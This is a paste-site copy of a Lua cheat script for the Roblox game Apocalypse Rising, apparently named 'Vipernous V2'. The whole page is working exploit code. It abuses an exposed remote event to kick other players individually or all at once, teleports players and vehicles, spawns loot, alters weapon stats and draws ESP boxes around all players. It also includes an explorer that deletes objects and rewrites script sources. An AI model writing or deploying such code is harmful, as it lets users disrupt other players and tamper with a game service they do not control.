- Instance.new("Message",Workspace).Text="vt -- Teleport All Vehicles To You"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="rap -- Play Rap Music In Game (Swears)"
- wait(3)
- game.Workspace.Message:Remove()
- elseif t.Text == "vt" then -- vehicle teleport
- for _, v in pairs(vehicles) do
- local found = workspace:FindFirstChild(v, true)
- if found then
- found:MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-50,50),0,math.random(-50,50)))
- end
- end
- elseif #t.Text > 5 and t.Text:sub(1,5) == "kick/" then -- kick
- workspace.Remote.ChangeProperty:FireServer(playername(t.Text:sub(6)), "Parent", nil)
- elseif t.Text == "ka" then -- kick all
- for i,v in pairs(game.Players:GetPlayers()) do
- local found = true
- for _,b in pairs(whitelist) do
- if b == v.Name then
- found = false
- break
- end
- end
- if found then
- workspace.Remote.ChangeProperty:FireServer(v, "Parent", nil)
- end
- end
- elseif #t.Text > 2 and t.Text:sub(1,2) == "t/" then -- teleport
- teleport(playername(t.Text:sub(3)))
- elseif t.Text == "ta" then -- teleport all
- for i,v in pairs(game.Players:GetPlayers()) do
- if v.Name ~= "Exponentiality" then
- teleport(v)
- end
- end
- elseif t.Text == "taw" then -- teleport all whitelist
- for i,v in pairs(game.Players:GetPlayers()) do
- local found = true
- for _,b in pairs(whitelist) do
- if b == v.Name then
- found = false
- break
- end
- end
- if found then
- teleport(v)
- end
- end
- elseif t.Text == "credits" then -- u know wat this means
- RIPPPP()
- elseif t.Text == "rap" then -- u know wat this means
- playicp()
- end
- end)()
- end
- t.BackgroundTransparency = 1
- t.TextTransparency = 1
- t.Text = ""
- end)
- game.Players.savageIy:GetMouse().KeyDown:connect(function(Key)
- if Key == "\\" then
- t.BackgroundTransparency = 0
- t.TextTransparency = 0
- t:CaptureFocus()
- end
- end)
- end)
- MainApocalypseButton2.MouseButton1Down:connect(function()
- game.Lighting.FogEnd= 10000000
- end)
- MainApocalypseButton3.MouseButton1Down:connect(function()
- for Get,Players in ipairs(game.Players:GetPlayers()) do
- local PlayerBox = Instance.new("SelectionBox", Players.Character);
- PlayerBox.Adornee = Players.Character;
- PlayerBox.Color3 = Color3.new(0,255,0);
- end
- end)
- MainApocalypseButton4.MouseButton1Down:connect(function()
- while wait() do local StarterGui = game:GetService('StarterGui')
- StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, true) end
- end)
- MainApocalypseButton5.MouseButton1Down:connect(function()
- while wait() do local StarterGui = game:GetService('StarterGui')
- StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) end
- end)
- MainApocalypseButton6.MouseButton1Down:connect(function()
- local plr = game.Players.savageIy.playerstats.skins
- plr.skin3.Value = 17 -- Skin Color
- plr.skin3.material.Value = 9 -- Skin Material
- plr.skin1.Value = 19 -- Skin Color
- plr.skin1.material.Value = 9 -- Skin Material
- plr.skin2.Value = 20 -- Skin Color
- plr.skin2.material.Value = 9 -- Skin Material
- end)
- MainApocalypseButton7.MouseButton1Down:connect(function()
- local plr = game.Players.savageIy.Backpack["FAL"]
- plr.Stats.Recoil.Value = 0
- plr.Stats.Accuracy.Value = 0
- plr.Stats.Offset.Value = 0
- end)
- MainApocalypseButton8.MouseButton1Down:connect(function()
- local itemName = "BloodBag"
- local new = game.Lighting.LootDrops[itemName]:Clone()
- new.Parent = game.Workspace
- new:MoveTo(game.Players.savageIy.Character.Torso.Position)
- end)
- MainApocalypseButton9.MouseButton1Down:connect(function()
- local itemName = "MRE"
- local new = game.Lighting.LootDrops[itemName]:Clone()
- new.Parent = game.Workspace
- new:MoveTo(game.Players.savageIy.Character.Torso.Position)
- end)
- MainApocalypseButton10.MouseButton1Down:connect(function()
- local itemName = "WaterBottle"
- local new = game.Lighting.LootDrops[itemName]:Clone()
- new.Parent = game.Workspace
- new:MoveTo(game.Players.savageIy.Character.Torso.Position)
- end)
- MainApocalypseButton11.MouseButton1Down:connect(function()
- local itemName = "ACOG"
- local new = game.Lighting.LootDrops[itemName]:Clone()
- new.Parent = game.Workspace
- new:MoveTo(game.Players.savageIy.Character.Torso.Position)
- end)
- MainApocalypseButton12.MouseButton1Down:connect(function()
- local itemName = "Suppressor762"
- local new = game.Lighting.LootDrops[itemName]:Clone()
- new.Parent = game.Workspace
- new:MoveTo(game.Players.savageIy.Character.Torso.Position)
- end)
- MainApocalypseButton13.MouseButton1Down:connect(function()
- local itemName = "FAL"
- local new = game.Lighting.LootDrops[itemName]:Clone()
- new.Parent = game.Workspace
- new:MoveTo(game.Players.savageIy.Character.Torso.Position)
- end)
- MainApocalypseButton14.MouseButton1Down:connect(function()
- local itemName = "M14Ammo50"
- local new = game.Lighting.LootDrops[itemName]:Clone()
- new.Parent = game.Workspace
- new:MoveTo(game.Players.savageIy.Character.Torso.Position)
- end)
- MainApocalypseButton15.MouseButton1Down:connect(function()
- local itemName = "MilitaryPackBlack"
- local new = game.Lighting.LootDrops[itemName]:Clone()
- new.Parent = game.Workspace
- new:MoveTo(game.Players.savageIy.Character.Torso.Position)
- end)
- MainApocalypseButton16.MouseButton1Down:connect(function()
- game.Players.savageIy.Backpack["FAL"].Stats.Damage.Value = "BECBFJNRVZDISSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
- end)
- MainApocalypseButton17.MouseButton1Down:connect(function()
- TextProperties = {"ClassName", "Name", "Value", "Text", "Reflectance", "Transparency", "Heat", "TeamName", "WalkSpeed", "Health", "MaxHealth", "Size", "Position", "AccountAge", "RobloxLocked", "TeamColor", "userId", "Brightness", "Ambient", "TimeOfDay", "FieldOfView", "CameraType", "LinkedSource"}
- BoolProperties = {"Anchored", "CanCollide", "Disabled", "Jump", "Sit", "Visible", "Enabled", "Locked", "FilteringEnabled", "StreamingEnabled", "GlobalShadows"}
- BrickColorProperties = {"BrickColor", "Color", "TeamColor", "Texture", "Value"}
- s = Instance.new("ScreenGui", game.Players.savageIy.PlayerGui)
- pgr = Instance.new("TextButton")
- pgr.Parent = s
- pgr.Size = UDim2.new(0,100,0,40)
- pgr.Position = UDim2.new(0,30,0,440)
- pgr.Text="Explorer"
- pgr.BackgroundTransparency = 0.3
- pgr.TextColor = BrickColor.new("White")
- pgr.BackgroundColor = BrickColor.new("Really Black")
- pgr.BorderColor = BrickColor.new("Black")
- pgr.Font = "ArialBold"
- pgr.FontSize = "Size14"
- pgr.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- pgr.TextStrokeTransparency = 0.3
- pgr.BorderSizePixel = 1
- pgr.BorderColor = BrickColor.new("White")
- if game.Players.savageIy.PlayerGui:findFirstChild("Explorer") then
- game.Players.savageIy.PlayerGui:findFirstChild("Explorer"):Remove()
- end
- local Cloned
- local Deleted
- local DeleteParent
- local Player
- local Search
- local ScriptSearch
- local Gui
- local Cloned = nil
- local Deleted = nil
- local DeleteParent = nil
- local Current = 0
- local CurrentOption = 0
- function Clear()
- if Gui then
- Gui:Remove()
- end
- Current = 0
- CurrentOption = 0
- end
- function AddButton(N, Function, Color, Copy)
- if not N then
- error("RenderButton - No Name Specified")
- end
- if not Function then
- error("RenderButton - No Function Specified")
- end
- if not Color then
- Color = Color3.new(1, 1, 1)
- end
- if Copy == nil then
- Copy = true
- end
- P = Instance.new("TextButton")
- if Copy then
- P.Size = UDim2.new(0, 110, 0, 20)
- else
- P.Size = UDim2.new(0, 130, 0, 20)
- end
- P.Text = N.Name
- P.Name = N.Name
- P.Parent = Gui
- P.BackgroundColor3 = Color
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300, 0, 50+(20*((Current%30)-1)))
- P.MouseButton1Click:connect(function()
- Function(P)
- end)
- D = Instance.new("TextButton")
- D.Size = UDim2.new(0, 20, 0, 20)
- D.Text = "X"
- D.Name = N.Name
- D.Parent = Gui
- D.BackgroundColor3 = Color3.new(1, 0, 0)
- D.TextColor3 = Color3.new(0, 0, 0)
- D.BackgroundTransparency = 0.5
- D.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300+130, 0, 50+(20*((Current%30)-1)))
- D.MouseButton1Click:connect(function()
- Deleted = N
- DeleteParent = N.Parent
- N.Parent = nil
- Clear()
- Search(DeleteParent)
- end)
- if Copy then
- C = Instance.new("TextButton")
- C.Size = UDim2.new(0, 20, 0, 20)
- C.Text = "C"
- C.Name = N.Name
- C.Parent = Gui
- C.BackgroundColor3 = Color3.new(0, 1, 0.5)
- C.TextColor3 = Color3.new(0, 0, 0)
- C.BackgroundTransparency = 0.5
- C.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300+110, 0, 50+(20*((Current%30)-1)))
- C.MouseButton1Click:connect(function()
- Cloned = N
- Clear()
- Search(N.Parent)
- end)
- end
- Current = Current + 1
- return P
- end
- function AddOption(N, Function, Color, Text)
- if not N then
- error("RenderButton - No Name Specified")
- end
- if not Color then
- Color = Color3.new(1, 1, 1)
- end
- if Text == nil then
- Text = false
- end
- if Text then
- P = Instance.new("TextBox")
- else
- P = Instance.new("TextButton")
- end
- P.Text = N
- P.Name = N
- P.Parent = Gui
- P.BackgroundColor3 = Color
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Size = UDim2.new(0, 150, 0, 20)
- P.Position = UDim2.new(0, ((math.modf(CurrentOption/30))*150)+150, 0, 50+(20*((CurrentOption%30)-1)))
- if not Text and Function then
- P.MouseButton1Click:connect(function() Function(P) end)
- end
- CurrentOption = CurrentOption + 1
- return P
- end
- function AddTextOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if type(Ob[Pro]) == "number" or type(Ob[Pro]) == "string" then
- CurrentOption = CurrentOption + 1
- local T = AddOption(Ob[Pro], nil, Color3.new(0.1, 0.4, 0.1), true)
- CurrentOption = CurrentOption - 2
- local O = AddOption("Change "..Pro..":", function() Ob[Pro] = T.Text end, Color3.new(0.1, 0.8, 0.1), false)
- CurrentOption = CurrentOption + 1
- end
- end
- function AddBrickColorOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if BrickColor.new(tostring(Ob[Pro])) == Ob[Pro] then
- CurrentOption = CurrentOption + 1
- local T = AddOption(tostring(Ob[Pro]), nil, Color3.new(0.1, 0.4, 0.1), true)
- CurrentOption = CurrentOption - 2
- local O = AddOption("Change "..Pro..":", function() Ob[Pro] = BrickColor.new(T.Text) end, Color3.new(0.1, 0.8, 0.1), false)
- CurrentOption = CurrentOption + 1
- end
- end
- function AddBoolOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if type(Ob[Pro]) == "boolean" then
- local O = AddOption(Pro..": "..tostring(Ob[Pro]), nil, Color3.new(0.1, 0.8, 0.1), false)
- O.MouseButton1Click:connect(function()
- if Ob[Pro] then
- Ob[Pro] = false
- O.Text = Pro..": false"
- else
- Ob[Pro] = true
- O.Text = Pro..": true"
- end
- end)
- end
- end
- function TestProperty(Obj, Property)
- Success = pcall(function()
- if Obj[Property] then
- return
- end
- end)
- return Success
- end
- function LoadOptions(Object)
- for Num, Prop in pairs(TextProperties) do
- if TestProperty(Object, Prop) then
- AddTextOption(Object, Prop)
- end
- end
- for Num, Prop in pairs(BoolProperties) do
- if TestProperty(Object, Prop) then
- AddBoolOption(Object, Prop)
- end
- end
- for Num, Prop in pairs(BrickColorProperties) do
- if TestProperty(Object, Prop) then
- AddBrickColorOption(Object, Prop)
- end
- end
- end
- function Search(Object)
- Gui = Instance.new("ScreenGui")
- Gui.Parent = game.Players.savageIy.PlayerGui
- Gui.Name = "Explorer"
- if Object ~= game then
- AddOption("Back", function()
- Clear();
- Search(Object.Parent)
- end, Color3.new(0.5, 1, 1), false)
- end
- AddOption("Reload", function() Clear(); Search(Object); end, Color3.new(0.2, 1, 0.2), false)
- if Cloned then
- AddOption("Paste", function() Cloned:Clone().Parent = Object; Clear(); Search(Object); end, Color3.new(0.5, 1, 1), false)
- end
- if Deleted then
- AddOption("Undo", function() Deleted.Parent = DeleteParent; Deleted = nil; DeletedParent = nil; Clear(); Search(Object); end, Color3.new(1, 0.6, 0.1), false)
- end
- if Object:IsA("Player") then
- AddOption("Goto Character", function() Clear(); if Object.Character then Search(Object.Character); end end, Color3.new(1, 1, 1), false)
- end
- if Object:IsA("LocalScript") then
- AddOption("EditScript", function() Clear(); ScriptSearch(Object); end, Color3.new(1, 1, 1), false)
- end
- if Object:IsA("Terrain") then
- AddOption("Clear", function() Object:Clear(); end, Color3.new(1, 1, 1), false)
- end
- LoadOptions(Object)
- AddOption("Close", Clear, Color3.new(1, 0.2, 0), false)
- if not Object:IsA("Workspace") or not Object:IsA("Player") then
- for Num, Obj in pairs(Object:GetChildren()) do
- --if not Obj:IsA("BasePart") or not Object.Parent == game.Workspace then
- if true then
- if Obj:IsA("LocalScript") then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 0, 0), true)
- elseif Obj:IsA("Script") or Obj:IsA("StarterScript") or Obj:IsA("CoreScript") then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(0.5, 0.5, 0.8), true)
- elseif Obj.Parent == game then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 1, 1), false)
- else
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 1, 1), true)
- end
- end
- end
- end
- function MoveUp(Place, Amount)
- for i,v in pairs(Place:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextBox") then
- v.Position = v.Position + UDim2.new(0,0,0,-Amount)
- end
- end
- end
- function MoveDown(Place, Amount)
- for i,v in pairs(Place:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextBox") then
- v.Position = v.Position + UDim2.new(0,0,0,Amount)
- end
- end
- end
- i=0
- function ScriptSearch(S)
- Script2 = S
- Script = Script2.Source
- Table = {}
- Enabled = true
- Gui = Instance.new("ScreenGui")
- Gui.Parent = game.Players.savageIy.PlayerGui
- Gui.Name = "Explorer"
- while Enabled do
- Start, End = string.find(Script, '\n')
- print(Start, End)
- if Start and End then
- table.insert(Table, string.sub(Script, 1, End))
- New = string.sub(Script, End+1, string.len(Script))
- Script = New
- else
- Enabled = false
- table.insert(Table, string.sub(Script, 1, End))
- print("Finished")
- end
- end
- P = Instance.new("TextLabel")
- P.Size = UDim2.new(0, 500, 0, 20)
- P.Text = Script2.Name
- P.Name = "Script Line"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -250, 0, 150+(20*(i-1)))
- P.TextXAlignment = "Left"
- i=i+1
- New = {}
- for I,Val in pairs(Table) do
- print(Val)
- P = Instance.new("TextBox")
- P.ClearTextOnFocus = false
- P.Size = UDim2.new(0, 500, 0, 20)
- P.Text = Val
- P.Name = "Script Line"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -250, 0, 150+(20*(i-1)))
- P.TextXAlignment = "Left"
- table.insert(New, P)
- i=i+1
- end
- i=1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "^"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveUp(Gui, -20)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "v"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveDown(Gui, -20)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "^^"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveUp(Gui, -200)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "vv"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveDown(Gui, -200)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "S"
- P.Name = "Save"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(0, 1, 0)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- StringS = ""
- for Num, Obj in pairs(New) do
- StringS = StringS..Obj.Text..'\n'
- end
- S.Source = StringS
- S.Disabled = true
- S.Disabled = false
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "x"
- P.Name = "Back"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 0.2, 0)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- Clear()
- i=0
- Search(S)
- end)
- i=i+1
- end
- end
- pgr.MouseButton1Click:connect(function()
- Clear()
- Search(game)
- end)
- end)
- MainApocalypseButton18.MouseButton1Down:connect(function()
- game.Players.savageIy.Backpack["Makarov"].Stats.Damage.Value = "BECBFJNRVZDISSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
- end)
- MainApocalypseButton19.MouseButton1Down:connect(function()
- local car = game.Workspace.Vehicles["Bicycle"]
- car.Stats.MaxSpeed.Offroad.Value = 500
- car.Stats.MaxSpeed.Value = 500
- end)
- MainApocalypseButton20.MouseButton1Down:connect(function()
- Instance.new("Message",Workspace).Text=" Vipernous V2, Created by Liam aka savageIy. "
- wait(5)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text=" Also by CentralAlien - Thanks for the help! "
- wait(5)
- game.Workspace.Message:Remove()
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement